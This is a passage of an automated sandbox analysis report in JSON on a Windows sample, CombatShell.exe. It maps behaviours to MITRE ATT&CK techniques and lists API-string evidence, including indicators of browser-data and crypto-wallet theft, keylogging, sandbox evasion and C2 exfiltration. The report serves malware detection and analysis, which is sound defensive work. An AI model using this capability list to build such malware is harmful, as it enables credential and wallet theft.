Lookup"],"parent":null},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attck_id":"T1497","attck_id_wiki":"https://attack.mitre.org/techniques/T1497","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to detect sandbox (imports API)","Attempts to call APIs commonly associated with anti-analysis and evasion techniques"],"parent":null},{"tactic":"Discovery","technique":"Remote System Discovery","attck_id":"T1018","attck_id_wiki":"https://attack.mitre.org/techniques/T1018","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Discovery","technique":"System Language Discovery","attck_id":"T1614.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1614/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to retrieve system language (API string)"],"parent":{"technique":"System Location Discovery","attck_id":"T1614","attck_id_wiki":"https://attack.mitre.org/techniques/T1614"}},{"tactic":"Discovery","technique":"System Service Discovery","attck_id":"T1007","attck_id_wiki":"https://attack.mitre.org/techniques/T1007","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Queries services related registry keys"],"parent":null},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attck_id":"T1570","attck_id_wiki":"https://attack.mitre.org/techniques/T1570","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to move file or directory (API string)"],"parent":null},{"tactic":"Collection","technique":"Screen Capture","attck_id":"T1113","attck_id_wiki":"https://attack.mitre.org/techniques/T1113","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to capture screen (API string)"],"parent":null},{"tactic":"Collection","technique":"Local Data Staging","attck_id":"T1074.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1074/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to create directories (API string)"],"parent":{"technique":"Data Staged","attck_id":"T1074","attck_id_wiki":"https://attack.mitre.org/techniques/T1074"}},{"tactic":"Collection","technique":"Data from Local System","attck_id":"T1005","attck_id_wiki":"https://attack.mitre.org/techniques/T1005","malicious_identifiers_count":3,"malicious_identifiers":["Tries to steal browser sensitive information (file access)","Tries to steal crypto wallet extension (file access)","Attempts to steal desktop application's information (file access)"],"suspicious_identifiers_count":3,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Collection","technique":"Input Capture","attck_id":"T1056","attck_id_wiki":"https://attack.mitre.org/techniques/T1056","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to register/read input devices (API string)"],"parent":null},{"tactic":"Collection","technique":"Keylogging","attck_id":"T1056.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1056/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to retrieve information about pressed keystrokes (API string)"],"parent":{"technique":"Input Capture","attck_id":"T1056","attck_id_wiki":"https://attack.mitre.org/techniques/T1056"}},{"tactic":"Collection","technique":"Data from Information Repositories","attck_id":"T1213","attck_id_wiki":"https://attack.mitre.org/techniques/T1213","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains SQL queries"],"parent":null},{"tactic":"Collection","technique":"Clipboard Data","attck_id":"T1115","attck_id_wiki":"https://attack.mitre.org/techniques/T1115","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to access clipboard data (API string)"],"parent":null},{"tactic":"Collection","technique":"Automated Collection","attck_id":"T1119","attck_id_wiki":"https://attack.mitre.org/techniques/T1119","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Shows ability to send encrypted data to the internet"],"parent":null},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attck_id":"T1095","attck_id_wiki":"https://attack.mitre.org/techniques/T1095","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to communicate with C2 using Sockets (API string)"],"parent":null},{"tactic":"Command and Control","technique":"Application Layer Protocol","attck_id":"T1071","attck_id_wiki":"https://attack.mitre.org/techniques/T1071","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":6,"informative_identifiers":["Found potential URL in binary/memory","Contains ability to communicate with network (API string)","Found potential IP address in binary/memory","Found potential URLs in memory dumps","Contacts server","Contacts domains"],"parent":null},{"tactic":"Command and Control","technique":"Proxy","attck_id":"T1090","attck_id_wiki":"https://attack.mitre.org/techniques/T1090","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains references to RPC protocol sequence strings"],"parent":null},{"tactic":"Command and Control","technique":"Web Protocols","attck_id":"T1071.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1071/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":4,"suspicious_identifiers":["Sends traffic on typical HTTP outbound port, but without HTTP header"],"informative_identifiers_count":4,"informative_identifiers":["GETs files from a webserver","Sends GET/POST requests (HTTPS)","Communicates with HTTP webserver (GET/POST requests)","GETs files from a webserver (HTTPS)"],"parent":{"technique":"Application Layer Protocol","attck_id":"T1071","attck_id_wiki":"https://attack.mitre.org/techniques/T1071"}},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attck_id":"T1573.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1573/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Encrypted Channel","attck_id":"T1573","attck_id_wiki":"https://attack.mitre.org/techniques/T1573"}},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attck_id":"T1105","attck_id_wiki":"https://attack.mitre.org/techniques/T1105","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to write files (API string)"],"parent":null},{"tactic":"Command and Control","technique":"Encrypted Channel","attck_id":"T1573","attck_id_wiki":"https://attack.mitre.org/techniques/T1573","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Uses HTTPS for communication","Makes HTTPS connections using secure TLS/SSL version"],"parent":null},{"tactic":"Command and Control","technique":"Non-Standard Port","attck_id":"T1571","attck_id_wiki":"https://attack.mitre.org/techniques/T1571","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to open a port and listen for incoming connection (API string)"],"parent":null},{"tactic":"Command and Control","technique":"Data Encoding","attck_id":"T1132","attck_id_wiki":"https://attack.mitre.org/techniques/T1132","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["HTTP requests contain Base64 strings"],"parent":null},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attck_id":"T1568.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1568/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["High entropy domain detected"],"parent":{"technique":"Dynamic Resolution","attck_id":"T1568","attck_id_wiki":"https://attack.mitre.org/techniques/T1568"}},{"tactic":"Command and Control","technique":"DNS","attck_id":"T1071.004","attck_id_wiki":"https://attack.mitre.org/techniques/T1071/004","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Queries DNS server"],"parent":{"technique":"Application Layer Protocol","attck_id":"T1071","attck_id_wiki":"https://attack.mitre.org/techniques/T1071"}},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attck_id":"T1029","attck_id_wiki":"https://attack.mitre.org/techniques/T1029","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to perform scheduled transfer (API string)"],"parent":null},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attck_id":"T1041","attck_id_wiki":"https://attack.mitre.org/techniques/T1041","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":["POSTs data to a webserver"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Impact","technique":"Service Stop","attck_id":"T1489","attck_id_wiki":"https://attack.mitre.org/techniques/T1489","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Able to retrieve/open a process (API string)","Contains ability to terminate a process (API string)"],"parent":null},{"tactic":"Impact","technique":"Data Encrypted for Impact","attck_id":"T1486","attck_id_wiki":"https://attack.mitre.org/techniques/T1486","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains reference to cryptographic keys"],"parent":null},{"tactic":"Impact","technique":"System Shutdown/Reboot","attck_id":"T1529","attck_id_wiki":"https://attack.mitre.org/techniques/T1529","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to shutdown system"],"parent":null}],"network_mode":"default","signatures":[{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-226","type":2,"relevance":1,"name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$2a","description_v2":["Found reference to API \"RegisterWaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"CombatShell.exe\")","Found reference to API \"WaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; File: \"CombatShell.exe\")","Found reference to API \"SleepEx\" (Indicator: \"SleepEx\"; File: \"CombatShell.exe\")","Found reference to API \"QueryPerformanceFrequency\" (Indicator: \"QueryPerformanceFrequency\"; File: \"CombatShell.exe\")","Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"CombatShell.exe\")","Found reference to API \"SetWaitableTimer\" (Indicator: \"SetWaitableTimer\"; File: \"CombatShell.exe\")","Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"CombatShell.exe\")","Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; File: \"CombatShell.exe\")","Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"QueryPerformanceFrequency\" (Indicator: \"QueryPerformanceFrequency\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"RegisterWaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"SetWaitableTimer\" (Indicator: \"SetWaitableTimer\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"SleepEx\" (Indicator: \"SleepEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObjectEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"RegisterWaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SleepEx\" (Indicator: \"SleepEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"QueryPerformanceFrequency\" (Indicator: \"QueryPerformanceFrequency\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetWaitableTimer\" (Indicator: \"SetWaitableTimer\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"QueryPerformanceFrequency\" (Indicator: \"QueryPerformanceFrequency\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"RegisterWaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetWaitableTimer\" (Indicator: \"SetWaitableTimer\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SleepEx\" (Indicator: \"SleepEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObjectEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1497.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1497/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-306","type":2,"relevance":1,"name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1134.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1134/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-92","type":2,"relevance":1,"name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"CombatShell.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"CombatShell.exe\")","Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1055","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1055","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-318","type":2,"relevance":1,"name":"Contains ability to load/free library (API string)","description":"$2b","description_v2":["Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")","Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"CombatShell.exe\")","Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")","Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")","Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1055.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1055/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-304","type":2,"relevance":1,"name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1112","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-320","type":2,"relevance":1,"name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"CombatShell.exe\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"CombatShell.exe\")","Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1564.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1564/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-409","type":2,"relevance":1,"name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"CombatShell.exe\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"CombatShell.exe\")","Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1070.006","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1070/006","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-138","type":2,"relevance":2,"name":"Contains ability to use Cryptographic classes","description":"Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","description_v2":["Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"target-585","type":9,"relevance":1,"name":"Spawns Windows crash diagnostic and reporting process","description":"Process \"WerFault.exe\" [UID: 00000000-00004820]\n Process \"WerFault.exe\" [UID: 00000000-00001332]","description_v2":["Process \"WerFault.exe\" [UID: 00000000-00004820]","Process \"WerFault.exe\" [UID: 00000000-00001332]"],"description_v3":[{"type":"text","value":"Process \"WerFault.exe\" [UID: 00000000-00004820]"},{"type":"linebreak"},{"type":"text","value":"Process \"WerFault.exe\" [UID: 00000000-00001332]"}],"origin":"Monitored Target","attck_id":"T1564","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1564","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Reverse Engineering","identifier":"string-183","type":2,"relevance":1,"name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"CombatShell.exe\")","description_v2":["Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"CombatShell.exe\")"],"description_v3":[{"type":"text","value":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"CombatShell.exe\")"}],"origin":"File/Memory","attck_id":"T1622","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1622","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Reverse Engineering","identifier":"string-148","type":2,"relevance":1,"name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"CombatShell.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"CombatShell.exe\")","description_v2":["Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"CombatShell.exe\")","Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: 